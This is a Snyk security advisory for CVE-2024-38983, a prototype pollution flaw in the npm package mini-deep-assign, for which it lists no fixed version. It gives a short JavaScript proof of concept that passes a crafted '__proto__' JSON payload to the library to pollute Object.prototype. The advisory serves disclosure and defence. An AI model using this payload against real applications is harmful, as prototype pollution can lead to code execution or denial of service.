Improper Control of Dynamically-Managed Code Resources Affecting mini-deep-assign package, versions *
Threat Intelligence
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Improper Control of Dynamically-Managed Code Resources vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-JS-MINIDEEPASSIGN-7575283
- published31 Jul 2024
- disclosed30 Jul 2024
- creditmestrtee
Introduced: 30 Jul 2024
CVE-2024-38983 (opens in a new tab)How to fix?
There is no fixed version for mini-deep-assign.
Overview
mini-deep-assign is a Like Object.assign(), but recursive
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources through the _assign method. An attacker can execute arbitrary code or disrupt service by manipulating object properties.
PoC
(async () => {
const lib = await import('mini-deep-assign');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
lib.default ({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();